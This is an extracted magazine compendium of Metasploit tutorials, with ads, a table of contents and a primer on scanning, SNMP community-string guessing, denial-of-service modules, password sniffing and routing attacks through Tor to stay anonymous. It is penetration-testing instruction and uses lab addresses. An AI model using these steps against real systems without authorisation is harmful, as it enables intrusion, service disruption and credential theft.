You are on page 1of 181

Certied ISO27005 Risk Manager

Learn the Best Practices in Information


Security Risk Management with ISO
27005 and become Certied ISO 27005
Risk Manager with this 3-day training!
CompTIA Cloud Essentials
Professional
This 2-day Cloud Computing in-company
training will qualify you for the vendor-
neutral international CompTIA Cloud
Essentials Professional (CEP) certicate.
Cloud Security (CCSK)
2-day training preparing you for the
Certicate of Cloud Security Knowledge
(CCSK), the industrys rst vendor-inde-
pendent cloud security certication from
the Cloud Security Alliance (CSA).
e-Security
Learn in 9 lessons how to create and
implement a best-practice e-security
policy!
IT Security Courses and Trainings

IMF Academy is specialised in providing business information by means of distance
learning courses and trainings. Below you nd an overview of our IT security
courses and trainings.
IMF Academy
info@imfacademy.com
Tel: +31 (0)40 246 02 20
Fax: +31 (0)40 246 00 17
For more information or to request the brochure
please visit our website:
http://www.imfacademy.com/partner/hakin9
Information Security Management
Improve every aspect of your information
security!
SABSA Foundation
The 5-day SABSA Foundation training
provides a thorough coverage of the
knowlegde required for the SABSA
Foundation level certicate.
SABSA Advanced
The SABSA Advanced trainings will
qualify you for the SABSA Practitioner
certicate in Risk Assurance & Govern-
ance, Service Excellence and/or Architec-
tural Design. You will be awarded with
the title SABSA Chartered Practitioner
(SCP).
TOGAF 9 and ArchiMate Foundation
After completing this absolutely unique
distance learning course and passing
the necessary exams, you will receive
the TOGAF 9 Foundation (Level 1) and
ArchiMate Foundation certicate.
AnDevCon

is a trademark of BZ Media LLC. Android

is a trademark of Google Inc. Googles Android Robot


is used under terms of the Creative Commons 3.0 Attribution License.
BOSTON May 28-31, 2013
The Westin Boston Waterfront
Follow us: twitter.com/AnDevCon A BZ Media Event
Register NOW at www.AnDevCon.com
Get the best real-world Android
developer training anywhere!
Choose from more than 75 classes
and tutorials
Network with speakers and other
Android developers
Check out more than
40 exhibiting companies
AnDevCon is one of the best
networking and information hubs
available to Android developers.
Nate Vogt, Android Developer, Willow Tree Apps
4
TOOLS
TBO 01/2013
01/2013 (1)
team
Editor in Chief: Krzysztof Samborski
krzysztof.samborski@hakin9.org
Editorial Advisory Board: J ohn Webb, Marco Hermans,
Gareth Watters
Proofreaders: J eff Smith, Krzysztof Samborski
Special thanks to our Beta testers and Proofreaders who helped
us with this issue. Our magazine would not exist without your
assistance and expertise.
Publisher: Pawe Marciniak
CEO: Ewa Dudzic
ewa.dudzic.@hakin9.org
Production Director: Andrzej Kuca
andrzej.kuca@hakin9.org
Art. Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@hakin9.org
DTP: Ireneusz Pogroszewski
Marketing Director: Krzysztof Samborski
krzysztof.samborski@hakin9.org
Publisher: Software Press sp. z o.o. SK
02-682 Warszawa, ul. Bokserska 1
Phone: 1 917 338 3631
www.hakin9.org/en
Whilst every effort has been made to ensure the highest quality
of the magazine, the editors make no warranty, expressed
or implied, concerning the results of the contents usage.
All trademarks presented in the magazine were used for
informative purposes only.
DISCLAIMER!
The techniques described in our magazine may
be used in private, local networks only. The
editors hold no responsibility for the misuse of the
techniques presented or any data loss.
Dear Readers,
You are going to read Metasploit Tutorials Hakin9
Compendium. This compendium consists of the articles
we collected through a couple of years plus the ones that
are still fresh, waiting to be published for the first time.
We hope that Metasploit, so often quoted and asked for
in your messages to en@hakin9.org, becomes even
more comprehensible for you after reading this issue.
We grouped the articles published in the issue into the-
matic sections. These are: A GUIDE TO METASPLOIT
in which you can read about the basics of Metasploit,
EXPLOITING WITH METASPLOIT where everybody
can find useful tips about the usage of Metasploit, and
TOOLS that consists of the articles on various tools and
techniques boosting Metasploit.
We hope that these tutorials come in handy.
Regards,
Krzysztof Samborski
Product Manager of Hakin9 Magazine
and Hakin9 Team
A GUIDE TO METASPLOIT
Metasploit Primer
BY GEORGE KARPOUZAS
Metasploit is an entire framework that provides the nec-
essary tools to identify flaws and run various exploits
against a remote target machine a penetration test. It
simplifies network discovery and vulnerability verifica-
tion, increasing the probability of success for your proj-
ect. Today we will learn the basics of it.
Metasploit: An Introduction
BY MANASDEEP
Metasploit greatest advantage is that it is open source
and freely extendable. You can customize it by includ-
ing your exploit and payloads as per your need. A secu-
rity pentester can check the custom made applications
specific to an enterprise against his customized exploits
and payloads. If a security researcher crafts a new at-
tack, then a custom made payload can carry out most
of the attack purpose.
Cyber Attack Management with
Metasploit
BY JOHN JAY TRINCKES, JR
Armitage is a GUI interface for the Metasploit frame-
work. The Metasploit Framework is a free, open source
penetration testing solution. In the article John de-
scribes how to use Metasploit.
Cyber Attack Management with
Armitage
BY ABHINAV SINGH
Metasploit has now become the industry standard prod-
uct for penetration testing. Armitage leverages the func-
tionality of Metasploit and provides a complete graphi-
cal interface to it. The article describes how to set up a
penetration testing scenario using Armitage.
How to Use Metasploit for Security
Defense
BY JUSTIN C. KLEIN KEANE
If youve ever taken any training about penetration
testing, or read almost any book or online article about
the trade, youve heard of Metasploit. Years ago, be-
fore penetration testing was a recognized profes-
sional field, exploiting a vulnerability was often an ex-
tremely onerous task. Identifying a vulnerability might
be as easy as fingerprinting a system then searching
public mailing lists, but finding exploit code was often
difficult.
My Experiences with the Metasploit
Framework: From N00b to Contributor
BY JOSHUA SMITH
Ever wanted a tour of the Metasploit Framework
(MSF)? If you have basic command line skills, and a
working knowledge of networking and how host are
compromised, you can take a guide tour from some-
one who started as a tourist and ended up as a tour
guide. You will see how you can use MSF for all sorts
of tasks and learn to write your own magic for yourself
or to share.
EXPLOITING WITH
METASPLOIT
How to Penetrate with Metasploit? A
Step-by-step Basic Pentesting Guide
BY ABDY MARTNEZ
Cybercriminals are knocking at doors, so we need to
be prepared to protect our systems from them. The big
question is how I am going to do this, if I dont know my
system vulnerabilities. Pentesting is the answer. Now,
how do I perform a cheap/free but powerful pentest in
my system? Here is where Metasploit Community ap-
pears.
How To Exploit Windows 8 With
Metasploit
BY AHMED SHERIF
In this article were going to learn how to exploit (Win-
dows 8 Preview Build 8400) with client-side attack
technique, well get meterpreter session on windows 8
machine. For guys who dont know what is metasploit
project.
How to Use Metasploit with Backtrack
BY VAHID SHOHOUHI
In this short tutorial of BackTrack, we will get to know an
exploiting framework called Metasploit; which was cre-
ated by great HD Moore. Metasploit itself has a stand-
alone version, Metasploit Framework which is used by
pros. BackTrack includes Metasploit too, but it doesnt
08
20
40
56
60
64
26
28
34
CONTENTS
get updated with new modules, e.g. Exploit Module. At
first we go through basic, yet main, definitions and parts
inside of Metasploit. Our amigo has lots of features that
could not be covered completely here; So we focus on
the two big brothers: Payload & Meterpreter. Then we
will practice one trick or two.
The Inside-Outsider Leveraging Web
Application Vulnerabilities + Metasploit
to become the Ultimate Insider
BY ABHAY BHARGAV
An effective penetration test is one that has a specific
objective. Typically, the objective is to identify and ex-
ploit as many vulnerabilities as can be found, within the
scope of the rules of engagement. However, my inter-
pretation of objective is a little different. For me, be-
ing objective is really about whether I, as a penetration
tester, can gain access to information assets that the
organization considers critical. This means that whilst I
might uncover several vulnerabilities during the course
of a penetration test, but if am unable to gain access to
critical information assets of the organization, the fun-
damental objective is still not met.
Metasploit Fu Post Exploitation
BY HARSIMRAN WALIA
People always emphasize on breaking into the sys-
tem or the exploitation part. We are into a system, what
should be the done further? Post exploitation is rarely
talked about which is as important as getting in. This ar-
ticle will mostly focus on some necessities and possibili-
ties post exploitation of a system.
How to Use Metasploit for Penetration
Testing
BY ANKHORUS CYBER SECURITY
When we say Penetration Testing tool the first thing
that comes to our mind is the worlds largest Ruby
project, initially started by HD Moore in 2003 called
Metasploit a sub-project of Metasploit Project. Other
important sub-projects include the Opcode Database,
shell code archive, and security research. It was creat-
ed in 2003 in the Perl programming language, but due
to some Perl disadvantages was completely re-written
in the Ruby Programming Language in 2005. On Oc-
tober 21, 2009, Rapid7, a vulnerability management
solution company, acquired the Metasploit Project.
A collaboration between the open source community
and Rapid7, Metasploit software helps security and
IT professionals identify security issues, verify vul-
nerability mitigations, and manage expert-driven se-
curity assessments, providing true security risk in-
telligence. Capabilities include smart exploitation,
password auditing, web application scanning, and social
engineering.
How to Scan with Nessus from within
Metasploit
BY MICHAEL BOMAN
When you perform a penetation test with Metasploit you
sometimes import vulnerability scanning results from
example Nessus Vulnerability Scanner. Usually you
start the scan externally from metasploit framework and
then import the results into metasploit. What you can do
is to manage the Nessus scan from within Metasploit
and easily import the results into your process. But lets
start from the beginning.
How to Use Multiplayer Metasploit with
Armitage
BY MICHAEL BOMAN
Metasploit is a very cool tool to use in your penetra-
tion testing: add Armitage for a really good time. Pen-
etration test engagements are more and more often
a collaborative effort with teams of talented security
practitioners rather than a solo effort. Armitage is a
scriptable red team (that is what the offensive security
teams are called) collaboration tool for Metasploit that
visualizes targets, recommends exploits, and exposes
the advanced post-exploitation features in the frame-
work.
TOOLS
Advance Meterpreter with API,
Mixins and Railgun
BY ABHINAV SINGH
Meterpreter is considered the heart of metasploit it
provides a wide range of features that can be performed
during post exploitation. The main role of meterpreter is
to make our penetration task easier and faster. In this
tutorial we will talk about some of the advanced con-
cepts related to meterpreter. We will dive deeper into
the core of metasploit to understand how meterpreter
scripts function and how we can build our own scripts.
68
90
94
112
74
84
CONTENTS
Vmware vSphere Security and
Metasploit Exploitation Framework
BY DUANE ANDERSON
Vmware vSphere is another layer in your overall envi-
ronment to attack. In this article you will learn some of
the threats, how to mitigate them and how to attack that
virtual layer.
Metasploit How to Play with Smb
and Authentication
BY GUGLIELMO SCAIOLA
In my experience a lot of infrastructures have two big
problems, they are using local admin credential with the
same password in some or all systems of the network
and maintain some servers (or clients) unpatched, with
these two common mistakes we can completely Pown
the infrastructure.
Two pillars of best practices are just patching and a dif-
ferent password for local admin for each host and it is
possible to retrieve a lot of best practices from the Inter-
net and in many books about security architecture, but
a lot of system admin dont use them, why?
In most case because the system admins are unedu-
cated in security, or because they are lazy, or because
they are too busy.
How to Bend Metasploit to Your Will
BY PATRICK FITZGERALD
Most articles on Metasploit cover what it is, what it does
and how to use it. Essentially you can find out how to
scan for vulnerable systems followed by how to select,
configure and deploy an exploit against a vulnerable
system. These are indispensable skills to anyone who
wishes to use the framework in any capacity. The pur-
pose of this article is to give those interested an insight
into how to extend Metasploit to suit their own specific
needs. This extensibility is where Metasploit is leagues
ahead of the competing frameworks currently available.
How to Work with Metasploit Auxiliary
Modules
BY ABHINAV SINGH
The Metasploit framework is based on a modular ar-
chitecture. This means that all the exploits, payloads,
encoders etc are present in the form of modules. The
biggest advantage of a modular architecture is that it
is easier to extend the functionality of the framework
based on requirement. Any programmer can develop
his own module and port it easily into the framework.
How to use Sqlploit
BY GEORGE KARPOUZAS
Databases nowdays are everywhere, from the small-
est desktop applications to the largest web sites such
as Facebook. Critical business information are stored in
database servers that are often poorly secured. Some-
one with access to this information could have control
over a companys or an organizations infrastructure.
How to Explore the IPv6 Attack
Surface with Metasploit
BY MIKE SHEWARD
IPv6 is often described as a parallel universe, co-ex-
isting alongside existing IPv4 infrastructure in a bid to
ease the transition process. Often left unmanaged and
unmonitored in networks, those IPv6 packets could pro-
vide a great opportunity for the savvy attacker. Thanks
to the Metasploit framework, exploring the IPv6 attack
surface has become a lot easier.
HAKIN9 EXTRA
How to Use The Mac OS X Hackers
Toolbox
BY PHILLIP WYLIE
When you think of an operating system to run pen test-
ing tools on, you probably think of Linux and more spe-
cifically BackTrack Linux. BackTrack Linux is a great
option and one of the most common platforms for run-
ning pen testing tools. If you are a Mac user, then you
would most likely run a virtual machine of BackTrack
Linux. While this a great option, sometimes it is nice to
have your tools running on the native operating system
of you computer.
116
156
166
174
128
134
144
CONTENTS
8
A GUIDE TO METASPLOIT
TBO 01/2013
Metasploit Primer
Metasploit is an entire framework that provides the necessary tools
to identify flaws and run various exploits against a remote target
machine during a penetration test. It simplifies network discovery
and vulnerability verification, increasing the probability of success
for your project. Today we will learn the basics of it.
M
etasploit is one of the most popular tools
in the field of information security and
penetration testing. It includes fuzzing
tools and not just exploits, so it can be used to
discover software vulnerabilities. Metasploit has
changed the way we perform penetration tests
and has become the de facto framework for find-
ing and exploiting application vulnerabilities. It is
available for all popular operating systems and
this has played an important role in the popu-
larity of this great framework. Metasploit is not
just a toolbox full of exploits. It contains various
modules such as service scanners, port scan-
ners, fuzzers and numerous post exploitation
modules.
Anonymity First
Tor protects your anonymity by bouncing your
communications around a distributed network of
relays, run by volunteers all around the world.
The primary purpose of Tor is to protect commu-
nications and improve privacy and security on the
Internet. To remain anonymous we should launch
our attacks through the TOR network using the
Socat program. Socat is a command line utility
that establishes two bidirectional byte streams
and transfers data between them. Let us as-
sume that the IP address of our target machine
is 192.168.1.5. We run Socat in this way: TCP4-
LI STEN: 3333, f or k SOCKS4a: 127. 0. 0. 1: 192. 168.
1. 5: 80, sockspor t =9050.
The above command sets up a local Socat proxy
listening on port 3333. Socat will forward all TCP
traffic for 192.168.1.5:80 via the SOCKS TOR
proxy that is listening on 127.0.0.1 on port 9050.
Launch attacks via Tor
Now, to launch your attacks via Tor and So-
cat and exploit your target machine at IP ad-
dress 192.168.1.5, you have to set the target IP
to 127.0.0.1 (RHOSTS) and remote port to 3333
(RPORT).
Port Scanning
Nmap
Nmap is a free and open source tool for network
discovery and security auditing. Nmap is able to
determine what hosts are available on the network,
what operating systems and services are running
on the target hosts, and can identify the type of the
firewalls that are in use along with dozens of other
capabilities.
Import Nmap results into Metasploit
It is very helpful to scan your target with Nmap
and import the results into Metasploit. All you
have to do is scan your target using the -oX op-
tion to generate an xml file that will contain the
results. To do this, execute the following nmap
command, assuming that your target machine
has the IP address 192.168.1.5, nmap - Pn - sS
- A - oX scan. xml 192. 168. 1. 5. Launch the msf-
www.hakin9.org/en 9
console, if you have not done it already, and im-
port the results with this command, i mpor t scan.
xml . To verify that the import was successful,
use the hosts command to list all targeted hosts
(Figure 1).
Run Nmap from msfconsole
You can also run Nmap from within msfconsole
and have the results automatically stored into da-
tabase. To achieve this, r un db_nmap - Pn - sS - A
192. 168. 1. 5, assuming that your target machines
IP address is 192.168.1.5. To verify that the results
use auxi l i ar y/ scanner /
por t scan/ t cp and type show
options to see a list of avail-
able options. To set the tar-
get machine, execute set
RHOSTS i p_addr ess where
ip_address is the IP address
of your target machine. You
can also increase threads
for a faster port scanning.
Set threads to 50 and run
the scanner module by issu-
ing the command r un.
Idle Scanning with Nmap
and Metasploit
Idle Scanning allows blind
port scanning. We can scan
a target without sending
packets to the target from
our own IP address while
spoofing the IP address of
another host on the network.
Idle scanning allows us to
be stealthy and allows us
to discover IP-based trust
relationships between ma-
chines. To achieve this type
of scan we will need to lo-
cate a host that is idle on
the network. Metasploit con-
tains the module scanner /
i p/ i pi dseq to scan for an
idle host on the network. Let
us run scanner / i p/ i pi dseq
modul e to discover an idle
host on the net. Type:
use auxiliary/scanner/ip/
ipidseq
set RHOSTS 192.168.
238.0/24 Figure 3. Available port scanners in MSF 4.4.0
Figure 2. Services command result
Figure 1. Hosts command result
from the scan have been stored in database, run
host s or ser vi ces (Figure 2).
Port scanning with Metasploit auxiliary
Although Nmap is the de-facto port scanner
and has become a synonym to port scanning,
Metasploit offers its own port scanners. These
port scanners are available in auxiliary mod-
ules. In msfconsole execute sear ch por t scan to
see a list of all available port scanners in MSF
(Figure 3).
To select one of the available port scanners, let
us say tcp scanner, execute
10
A GUIDE TO METASPLOIT
TBO 01/2013
set THREADS 50
run (Figure 4)
To scan host 192.168.1.100 for example using
zombie pc at 192.168.1.200, we use nmap: nmap
- PN - sI 192. 168. 238. 200 192. 168. 238. 100.
OS Fingerprinting with Metasploit
OS fingerprinting is the process of determining the
operating system running on a host. Port 445 is
used by SMB protocol for providing shared access
to files, printers, serial ports, and miscellaneous
communications between nodes on a network.
Most usage of SMB involves computers running
Microsoft Windows. To check if port 445 is open
use auxi l i ar y/ scanner / por t scan/ syn, set RHOSTS
192. 168. 1. 5 and set PORTS 445 and run the mod-
ule.
smb_version module
If port 445 is open then we are going to use smb_ver-
sion module. Type use scanner / smb/ smb_ver si on
and set RHOSTS 192. 168. 1. 5, assuming that your
target machine has IP address 192.168.1.5. Type
run and hit enter to get your results:
msf auxi l i ar y( smb_ver si on) > r un
[ *] 192. 168. 1. 5: 445 i s r unni ng Wi ndows XP Ser vi ce
Pack 2 ( l anguage: Engl i sh) ( name: J OHN) ( domai n:
MYDOMAI N)
[ *] Scanned 1 of 1 host s ( 100%compl et e)
[ *] Auxi l i ar y modul e execut i on compl et ed
Voila! A Windows XP SP2 machine with lots of
vulnerabilities. Execute the command hosts again
to see that Metasploit has updated the database
according to our new discovery.
Working with Scanners
Metasploit provides us with many scanning mod-
ules. To list the available scanners from within ms-
fconsole, type i nf o auxi l i ar y/ scanner / or sear ch
scanner , and hit tab to discover that MSF has over
240 scanners available.
HTTP Scanning
There are many http scanners available in
Metasploit. We are going to use the http_version
scanner. Select it, use auxi l i ar y/ scanner / ht t p/
ht t p_ver si on. Type show opt i ons for a list of avail-
able options.
msf auxi l i ar y( ht t p_ver si on) > show opt i ons
Module options (auxi l i ar y/ scanner / ht t p/ ht t p _
ver si on): Listing 1.
Select your target host, set RHOSTS t ar get _
host _i p and run the module.
Microsoft SQL Server Discovery
To see a list of all modules relative to MS SQL,
issue the command sear ch mssql . Choose ms-
sql_ping module, use auxi l i ar y/ scanner / mssql /
mssql _pi ng. To scan the whole network set
RHOSTS 192.168.1.0/24, set THREADS 255 and
run the module. Sit back
and let Metasploit discover
all MS SQL servers on the
network.
MySQL Discovery
To find all MySQL auxilia-
ry modules issue the com-
mand search mysql. Choose
mysql_version module,
use auxi l i ar y/ scanner /
mysql / mysql _ver si on. To
scan the whole network set
RHOSTS 192. 168. 1. 0/ 24,
set THREADS 50 and run
the module. Sit back and
let Metasploit discover all
of the MySQL servers and
their versions!
FTP Scanning
FTP is an insecure proto-
col. FTP servers are one Figure 4. Running auxiliary module ipidseq
TEL +44 (0)207 127 4501 FAX +44 (0)207 127 4503 EMAIL info@oliverkinross.com
www.cybersecurityuae.com Conference & Exhibition
Assess the nature of the latest
threats being faced and the impact
of these upon your organisation
Discuss the most promising
cyber security technologies
in the marketplace
Assess the trends to watch in global cyber security
International Case Studies: Discover the best practice
in protecting your organisation from cyber-attack
Network with your industry peers in
the comfort of a 5 star venue
The only event of its kind to take place in the Middle East
Developments, Strategies and Best Practice
in Global Cyber Security
CYBER SECURITY UAE
SUMMIT 2013
May 13th & 14th, Dubai
Special
focus on the
Banking, Oil & Gas
& Government
Sectors
Protecting critical infrastructures
Main Sectors Covered:
2nd Annual
CYBER SECURITY
UAE TECH 2013
Hurry exhibition
space for the 30
booth exhibition is
expected to sell out.
For further details on
exhibiting place email
info@oliverkinross.com
8 9 10 11 12
7
6
5
4
3
2
1
13
14
15
16
17
18
19
N
E
T
W
O
R
K
I
N
G

A
R
E
A
N
E
T
W
O
R
K
I
N
G

A
R
E
A
21 22
23 24
25 26
27 28
29 30
20
Electricity & Water
Oil & Gas
Financial Services
Transportation
Government
Defense
Make valuable
connections at
the networking
evening
GOLD SPONSOR
SILVER SPONSOR
MEDIA PARTNERS
The only
even
t of its kind
to take place
in the U
A
E
Featuring 30 top
level speakers!
TARIQ AL HAWI, Director, AE CERT
BADER AL-MANTHARI, Executive
Information Security, ITA OMAN
OMAR ALSUHAIBANU, Network
Security Engineer,
CERT SAUDI ARABIA
AHMED BAIG, Head, Information
Security and Compliance,
UAE GOVERNMENT ENTITY
TAMER MOHAMED HASSAN,
Information Security
Specialist, UAE
GOVERNMENT ENTITY
AMANI ALJASSMI, Head of
Information Security Section,
DUBAI MUNICIPALITY
NAVEED AHMED, Head of IT
Security, DUBAI CUSTOMS
RIEMER BROUWER, Head
of IT Security, ADCO
AYMAN AL-ISSA, Digital Oil
Fields Cyber Security
Advisor, ABU DHABI MARINE
OPERATING COMPANY
MOSTA AL AMER, Information
security Engineer,
SAUDI ARAMCO.
HESHAM NOURI, IT Manager,
KUWAIT OIL COMPANY
KENAN BEGOVIC, Head of
Information Security,
AL HILAL BANK
USAMA ABDELHAMID Director, UBS
ABEER KHEDR, Director of
Information Security,
NATIONAL BANK OF EGYPT
BIJU NAIR, Head of Audit,
NOOR ISLAMIC BANK
BHARAT RAIGANGAR, Director,
Corporate Security Advisor,
ROYAL BANK OF SCOTLAND
ASHRAF SHOKRY, Chief
Information Ofcer,
AJMAN BANK
MOHAMED ROUSHDY,
Chief Information
Ofcer, NIZWA BANK
ZAFAR MIR Regional Manager
Information Security Risk,
HSBC BANK MIDDLE EAST
MAHMOUD YASSIN Lead Security
& System Eng Manager,
NATIONAL BANK OF ABU DHABI
HUSSAIN ALKHASAN, IT GRC
Manager, COMMERCIAL
BANK OF DUBAI (UAE)
FURQAN AHMED HASHMI,
(PMP, CISSP, CCIE, TOGAF)
Architect, EMIRATES
INVESTMENT AUTHORITY
STEVE HAILEY, President CEO,
CYBER SECURITY INSTITUTE
OMER SYED, Project Manager,
ROADS & TRANSPORT AUTHORITY
BIJU HAMEED, ICT Security
Manager, DUBAI AIRPORTS
MOHAMMED AL LAWATI, ICT
policy and Procedure
Advisor, OMAN AIRPORTS
MANAGEMENT COMPANY
MURTAZA MERCHANT,
Senior Security Analyst,
EMIRATES AIRLINE
AMR GABER, Senior Network
Security Engineer, DUBAI
STATISTICS CENTRE
ANDREW JONES, Chairman
of Information Security,
KHALIFA UNIVERSITY
NASIR MEMO, Principal
Investigator, NEW
YORK UNIVERSITY
Plus many more to be announced!
12
A GUIDE TO METASPLOIT
TBO 01/2013
of the easiest ways to get into a target network.
Always check to see if anonymous access is al-
lowed whenever you encounter an open FTP port.
To check for anonymous access, issue the com-
mand use auxi l i ar y/ scanner / f t p/ anonymous, set
the options appropriately and run the module. To
identify the ftp version, there is a suitable module
called f t p_ver si on. Type use auxi l i ar y/ scanner /
f t p/ f t p_ver si on to use it.
SSH Scanning
SSH is a very secure protocol although there are
vulnerabilities in various implementations and you
should determine which version is running on the
target. You can use the ssh_version module to de-
termine the SSH version running on the target serv-
er. To choose ssh_version module, use auxi l i ar y/
scanner / ssh/ ssh_ver si on and Set RHOSTS and
THREADS accor di ngl y.
SNMP Enumeration and Login
SNMP is typically used with network devices to re-
port information. As a result, there is a chance to
find information about a specific system by enu-
merating the SNMP port. If you can find a Cisco
device running and can get the read/write SNMP
community string, you can actually download the
entire device configuration, modify it, and upload
your own malicious configuration back to the de-
vice.
Metasploit comes with a built in auxiliary mod-
ule specifically for sweeping SNMP devices. If it
is possible to guess the community strings, SNMP
can allow from excessive information disclosure
to full system compromise. To gain access to a
switch, we have to guess its community strings.
Execute the command use auxi l i ar y/ scanner /
snmp/ snmp_l ogi n, set rhosts to target machines ip
address and run the module. Other SNMP auxil-
iary modules are: Figure 5.
VNC Scanner
Virtual Network Computing (VNC) is a graphical
desktop sharing system that uses the RFB proto-
col to remotely control another computer. It trans-
mits the keyboard and mouse events from one
computer to another, relaying the graphical screen
updates back in the other direction across a net-
work. Imagine what control over the compromised
machine you will have if you manage to find a VNC
server with a default configuration or with no pass-
word at all. The VNC Authentication None Scanner
scans an IP address or a range of IP addresses
looking for targets that are running a VNC server
without a password configured. To use vnc scan-
ner execute use auxi l i ar y/ scanner / vnc/ vnc_
none_aut h, set rhosts to an IP range (for example
192.168.1.0/24) and run the module. Do not forget
to increase the number of the threads if you are
scanning more than one target.
Open_X11 Scanner
The X window system is a software system and
network protocol that provides a basis for graphi-
Figure 5. SNMP auxiliary modules in MSF 4.4.0
Listing 1. Module options (auxiliary/scanner/http/http _ version)
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pr oxi es no Use a pr oxy chai n
RHOSTS yes The t ar get addr ess r ange or CI DR i dent i f i er
RPORT 80 yes The t ar get por t
THREADS 1 yes The number of concur r ent t hr eads
VHOST no HTTP ser ver vi r t ual host
www.hakin9.org/en 13
cal user interfaces and rich input device capability
for networked computers. Like VNC, if you find a
host with X11 enabled with default configuration,
you will control the host completely. The open_x11
scanner module scans a target or multiple targets
for X11 servers that will allow a user to connect
without any authentication. To use the module, se-
lect the auxiliary module (auxi l i ar y/ scanner / x11/
open_x11), define your options and run it.
Host Discovery
Host discovery is the process of identifying live
hosts on a network. A live host is any host that re-
sponds to a ping or has open ports.
ARP Scanning
ARP (Address Resolution Protocol) is a protocol
used for the resolution of network layer address-
es into link layer addresses. The ARP protocol is
designed to be used for any link layer and net-
work layer protocols. ARP is a non-routable pro-
tocol and can only be used between systems on
the same Ethernet network. We can use scanner
module arp_sweep to discover and fingerprint
IP hosts on the local network. To use it type, use
auxi l i ar y/ scanner / di scover y/ ar p_sweep. Se-
lect the whole local network to scan, for ex. set
RHOSTS 192. 168. 1. 0/ 24 and run the module (Fig-
ure 6).
UDP Probe
With the User Datagram Protocol (UDP) can
send messages or datagrams to other hosts on
an Internet Protocol (IP) network. There is no
guarantee of delivery, ordering or duplicate pro-
tection. UDP is suitable for purposes where er-
ror checking and correction is either not neces-
sary or is performed in the application, avoiding
the overhead of such processing at the network
interface level. UDP is one of the most famous
network protocols and it is widely used. Let us
see how we can probe known UDP ports to dis-
cover live hosts on the network. Metasploit of-
fers module udp_probe to discover live hosts
on the network by scanning an IP or a range of
IPs for open UDP ports. To select it, type use
auxi l i ar y/ scanner / di scover y/ udp_pr obe. Set
RHOSTS option and run the module to get a list
of live hosts (Figure 7).
Denial of Service Attacks
A denial-of-service attack
(DoS) is an attempt to make
a machine or network re-
source unavailable to its in-
tended users.
Apache HTTP Server
Apache httpd has been the
most popular web server
on the Internet since April
1996. It consists of a thou-
sand of lines of code and
a vast variety of modules
and extensions. Therefore,
vulnerabilities could not be
missing. The Apache ex-
tension mod_isapi imple-
ments the Internet Server
extension API. It allows In-
ternet Server extensions
to be served by Apache for
Windows. Metasploit mod-
ule apache_mod_isapi trig-
gers a vulnerability in the
Apache mod_isapi exten-
sion. In order to trigger this
vulnerability, the target serv-
er must have an ISAPI mod-
ule installed and configured. Figure 7. udp_probe module results
Figure 6. arp_sweep module result
14
A GUIDE TO METASPLOIT
TBO 01/2013
By making a request that terminates abnormally,
mod_isapi will unload the ISAPI extension. Later, if
another request comes for that ISAPI module, pre-
viously obtained pointers will be used resulting in
an access violation or potential arbitrary code ex-
ecution. To use this module type, use auxi l i ar y/
dos/ ht t p/ apache_mod_i sapi . Type show options to
view a list of available options. After you have set
the options, run the module (Figure 8).
FileZilla FTP Server
FileZilla is an open source FTP client and serv-
er software, distributed free of charge under the
terms of the GNU General Public License. It is very
popular software. Under Windows, FileZilla is com-
monly used as a server. Metasploit is offering two
auxiliary modules to perform DoS attacks against
Windows with FileZilla Server installed.
filezilla_admin_user
This module triggers a Denial of Service condition
in the FileZilla FTP Server Administration Interface
in versions 0.9.4d and earlier. To select it type use
auxi l i ar y/ dos/ wi ndows/ f t p/ f i l ezi l l a_admi n_user .
filezilla_server_port
This module triggers a Denial of Service condition
in the FileZilla FTP Server versions 0.9.21 and ear-
lier. To select it type use auxi l i ar y/ dos/ wi ndows/
f t p/ f i l ezi l l a_ser ver _por t .
Password sniffing
A packet sniffer is a computer program that inter-
cepts and logs traffic passing over a network. The
sniffer captures each packet, decodes the pack-
ets raw data, showing the values of various fields
in the packet, and analyzes its content. If network
communications are not encrypted, it is possible to
intercept communications and capture passwords
that are transmitted in plain text.
psnufe
Metasploit has a password sniffing module named
psnuffle that can be used to sniff passwords off the
wire similar to the tool dsniff. It currently supports
pop3, imap, ftp, and HTTP GET. Using the psnuf-
fle module is extremely simple. J ust select it and
run it. To select psnuffle execute, use auxi l i ar y/
sni f f er / psnuf f l e. There are some options avail-
able. You can specify the filter string for capturing
traffic, the name of the interface, the name of the
PCAP capture file to process, a comma-delimited
list of protocols, the number of bytes to capture
and the number of seconds to wait for new data
(Figure 9).
Vulnerability Scanning
A vulnerability scanner is an automated computer
program designed to assess computers, networks
or applications to look for weaknesses. The pro-
gram probes a system by sending data to it and
analyzing the responses received. To identify any
vulnerabilities on the target system, a vulnerability
scanner uses its vulnerability database as a refer-
ence. Do not forget that vulnerability scanners cre-
ate a lot of traffic on a network and are not suitable
if one of your objectives is to remain undetected.
WMAP Web Vulnerability Scanner
WMAP is a web vulnerability scanner and is inte-
grated with Metasploit. First of all, we have to load
the wmap plugin by issuing the command: l oad
wmap. To perform your web scan follow these steps:
Add a new tar-
get url, wmap _ si t es - a
ht t p: // 192. 168. 1. 5
Add the site as a tar-
get, wmap _ t ar get s - t
ht t p: // 192. 168. 1. 5
List the modules that
will be used to scan the re-
mote system, wmap _ r un - t
Scan the target system,
wmap _ r un - e
Check to see if WMAP
found anything interesting
execute host s - c addr ess,
svcs, vul ns
If WMAP found any vul-
nerabilities issue the command
vul ns to get more details Figure 9. psnufe snifng trafc
Figure 8. apache_mod_isapi options
www.hakin9.org/en 15
Nexpose vulnerability Scanner
To import a Nexpose vulnerability scan report,
you have to import the Nexpose xml file into the
MSF database. To import xml file, enter import fol-
lowed by the report filename. For example, i mpor t
/ r oot / my_nexpose_scan. xml . To verify that the
scanned host and vulnerability data was imported
properly, enter host s - c addr ess, svcs, vul ns to
verify. Enter vul ns to view the details of the discov-
ered vulnerabilities (Figure 10).
Nexpose plugin
There is a Nexpose plugin for Metasploit to run
Nexpose from msfconsole. To perform a vulnera-
bility scan within Nexpose you have to:
Load Nexpose plugin, l oad nexpose
If you need help enter hel p
Connect to your NeXpose server nexpose _
connect user name: pass@127. 0. 0. 1[: por t]
Launch a new scan with nexpose_scan fol-
lowed by the the target IP address, for ex.
nexpose _ scan 192. 168. 1. 5
Ent er host s - c addr ess, svcs, vul ns to view
the results
Execute vul ns to view details for the discov-
ered vulnerabilities
Nessus Vulnerability Scanner
To import a Nessus vulnerability scan report, you
have to download it first by selecting your report
and hitting download. Download the report in .nes-
sus format. To import the Nessus results file, en-
ter import followed by the report filename. For ex-
